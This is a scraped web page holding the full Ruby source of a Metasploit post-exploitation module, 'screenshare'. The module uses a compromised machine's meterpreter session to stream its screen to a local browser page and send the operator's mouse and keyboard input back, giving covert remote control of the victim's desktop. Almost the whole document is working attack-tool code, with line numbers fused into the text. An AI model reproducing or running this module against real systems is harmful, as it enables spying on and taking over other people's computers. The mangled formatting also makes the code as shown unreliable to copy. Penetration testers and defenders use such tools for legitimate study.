Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/screenshare.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Exploit::Remote::HttpServer89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage the screen of the target meterpreter session',14'Description' => %q{15This module allows you to view and control the screen of the target computer via16a local browser window. The module continually screenshots the target screen and17also relays all mouse and keyboard events to session.18},19'License' => MSF_LICENSE,20'Author' => [ 'timwr'],21'Platform' => [ 'linux', 'win', 'osx' ],22'SessionTypes' => [ 'meterpreter' ],23'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27stdapi_ui_desktop_screenshot28stdapi_ui_send_keyevent29stdapi_ui_send_mouse30]31}32},33'Notes' => {34'Stability' => [CRASH_SAFE],35'Reliability' => [],36'SideEffects' => []37}38)39)40end4142def run43@last_sequence = 044@key_sequence = {}45exploit46end4748def perform_event(query)49action = query['action']5051if action == 'key'52key = query['key']53keyaction = query['keyaction']54session.ui.keyevent_send(key, keyaction) if key55else56x = query['x']57y = query['y']58session.ui.mouse(action, x, y)59end60end6162def supports_espia?(session)63return false unless session.platform == 'windows'6465session.core.use('espia') unless session.espia66session.espia.present?67rescue RuntimeError68false69end7071# rubocop:disable Metrics/MethodLength72def on_request_uri(cli, request)73if request.uri =~ %r{/screenshot$}74data = ''75if supports_espia?(session)76data = session.espia.espia_image_get_dev_screen77else78data = session.ui.screenshot(50)79end80send_response(cli, data, { 'Content-Type' => 'image/jpeg', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache' })81elsif request.uri =~ %r{/event$}82query = JSON.parse(request.body)83seq = query['i']84if seq <= @last_sequence + 185perform_event(query)86@last_sequence = seq87else88@key_sequence[seq] = query89end90loop do91event = @key_sequence[@last_sequence + 1]92break unless event9394perform_event(event)95@last_sequence += 196@key_sequence.delete(@last_sequence)97end9899send_response(cli, '')100else101print_status("Sent screenshare html to #{cli.peerhost}")102uripath = get_resource103uripath += '/' unless uripath.end_with? '/'104html = %^<!html>105<head>106<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">107<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">108<title>Metasploit screenshare</title>109</head>110<body>111<noscript>112<h2 style="color:#f00">Error: You need JavaScript enabled to watch the stream.</h2>113</noscript>114<div id="error" style="display: none">115An error occurred when loading the latest screen share.116</div>117<div id="container">118<div class="controls">119<span>120<label for="isControllingCheckbox">Controlling target?</label>121<input type="checkbox" id="isControllingCheckbox" name="scales">122</span>123<span>124<label for="screenScaleFactorInput">Screen size</label>125<input type="range" id="screenScaleFactorInput" min="0.01" max="2" step="0.01" />126</span>127<span>128<label for="refreshRateInput">Image delay</label>129<input type="range" id="imageDelayInput" min="16" max="60000" step="1" />130<span id="imageDelayLabel" />131</span>132</div>133<canvas id="canvas" />134</div>135<div>136<a href="https://www.metasploit.com" target="_blank">www.metasploit.com</a>137</div>138</body>139<script type="text/javascript">140"use strict";141142var state = {143eventCount: 1,144isControlling: false,145// 1 being original size, 0.5 half size, 2 being twice as large146screenScaleFactor: 1,147// In milliseconds, 1 capture every 60 seconds148imageDelay: 60000,149};150151var container = document.getElementById("container");152var error = document.getElementById("error");153var img = new Image();154var controllingCheckbox = document.getElementById("isControllingCheckbox");155var imageDelayInput = document.getElementById("imageDelayInput");156var imageDelayLabel = document.getElementById("imageDelayLabel");157var screenScaleFactorInput = document.getElementById("screenScaleFactorInput");158var canvas = document.getElementById("canvas");159var ctx = canvas.getContext("2d");160161/////////////////////////////////////////////////////////////////////////////162// Form binding163/////////////////////////////////////////////////////////////////////////////164165setTimeout(synchronizeState, 0);166167controllingCheckbox.onclick = function () {168state.isControlling = controllingCheckbox.checked;169synchronizeState();170};171172imageDelayInput.oninput = function (e) {173state.imageDelay = Number(e.target.value);174synchronizeState();175};176177screenScaleFactorInput.oninput = function (e) {178state.screenScaleFactor = Number(e.target.value);179synchronizeState();180};181182function synchronizeState() {183screenScaleFactorInput.value = state.screenScaleFactor;184imageDelayInput.value = state.imageDelay;185imageDelayLabel.innerHTML = state.imageDelay + " milliseconds";186controllingCheckbox.checked = state.isControlling;187scheduler.setDelay(state.imageDelay);188updateCanvas();189}190191/////////////////////////////////////////////////////////////////////////////192// Canvas Refeshing193/////////////////////////////////////////////////////////////////////////////194195// Schedules the queued function to be invoked after the required period of delay.196// If a queued function is originally queued for a delay of one minute, followed197// by an updated delay of 1000ms, the previous delay will be ignored - and the198// required function will instead be invoked 1 second later as requested.199function Scheduler(initialDay) {200var previousTimeoutId = null;201var delay = initialDay;202var previousFunc = null;203204this.setDelay = function (value) {205if (value === delay) return;206delay = value;207this.queue(previousFunc);208};209210this.queue = function (func) {211clearTimeout(previousTimeoutId);212previousTimeoutId = setTimeout(func, delay);213previousFunc = func;214};215216return this;217}218var scheduler = new Scheduler(state.imageDelay);219220function updateCanvas() {221canvas.width = img.width * state.screenScaleFactor;222canvas.height = img.height * state.screenScaleFactor;223ctx.drawImage(img, 0, 0, canvas.width, canvas.height);224225error.style = "display: none";226}227228function showError() {229error.style = "display: initial";230}231232// Fetches the latest image, and queues an additional image refresh once complete233function fetchLatestImage() {234var nextImg = new Image();235nextImg.onload = function () {236img = nextImg;237updateCanvas();238scheduler.queue(fetchLatestImage);239};240nextImg.onerror = function () {241showError();242scheduler.queue(fetchLatestImage);243};244nextImg.src = "#{uripath}screenshot#" + Date.now();245}246247fetchLatestImage();248249/////////////////////////////////////////////////////////////////////////////250// Canvas interaction251/////////////////////////////////////////////////////////////////////////////252253// Returns a function, that when invoked, will only run at most once within254// the required timeframe. This reduces the rate at which a function will be255// called. Particularly useful for reducing the amount of mouse movement events.256function throttle(func, limit) {257limit = limit || 200;258var timeoutId;259var previousTime;260var context;261var args;262return function () {263context = this;264args = arguments;265if (!previousTime) {266func.apply(context, args);267previousTime = Date.now();268} else {269clearTimeout(timeoutId);270timeoutId = setTimeout(function () {271if (Date.now() - previousTime >= limit) {272func.apply(context, args);273previousTime = Date.now();274}275}, limit - (Date.now() - previousTime));276}277};278}279280function sendEvent(event) {281if (!state.isControlling) {282return;283}284285event["i"] = state.eventCount++;286var req = new XMLHttpRequest();287req.open("POST", "#{uripath}event", true);288req.setRequestHeader("Content-type", 'application/json;charset=UTF-8');289req.send(JSON.stringify(event));290}291292function mouseEvent(action, e) {293sendEvent({294action: action,295// Calculate mouse position relative to the original screensize296x: Math.round(297(e.pageX - canvas.offsetLeft) * (1 / state.screenScaleFactor)298),299y: Math.round(300(e.pageY - canvas.offsetTop) * (1 / state.screenScaleFactor)301),302});303}304305function keyEvent(action, key) {306if (key === 59) {307key = 186;308} else if (key === 61) {309key = 187;310} else if (key === 173) {311key = 189;312}313sendEvent({314action: "key",315keyaction: action,316key: key,317});318}319320document.onkeydown = throttle(function (e) {321if (!state.isControlling) {322return;323}324var key = e.which || e.keyCode;325keyEvent(1, key);326e.preventDefault();327});328329document.onkeyup = function (e) {330if (!state.isControlling) {331return;332}333var key = e.which || e.keyCode;334keyEvent(2, key);335e.preventDefault();336};337338canvas.addEventListener(339"contextmenu",340function (e) {341if (!state.isControlling) {342return;343}344e.preventDefault();345},346false347);348349canvas.onmousemove = throttle(function (e) {350if (!state.isControlling) {351return;352}353mouseEvent("move", e);354e.preventDefault();355});356357canvas.onmousedown = function (e) {358if (!state.isControlling) {359return;360}361var action = "leftdown";362if (e.which === 3) {363action = "rightdown";364}365mouseEvent(action, e);366e.preventDefault();367};368369canvas.onmouseup = function (e) {370if (!state.isControlling) {371return;372}373var action = "leftup";374if (e.which === 3) {375action = "rightup";376}377mouseEvent(action, e);378e.preventDefault();379};380381canvas.ondblclick = function (e) {382if (!state.isControlling) {383return;384}385mouseEvent("doubleclick", e);386e.preventDefault();387};388</script>389<style>390body {391color: rgba(0, 0, 0, .85);392font-size: 16px;393}394395input {396padding: 0.5em 0.6em;397display: inline-block;398vertical-align: middle;399-webkit-box-sizing: border-box;400box-sizing: border-box;401}402403.controls {404line-height: 2;405}406</style>407</html>408^409send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })410end411end412# rubocop:enable Metrics/MethodLength413end414415416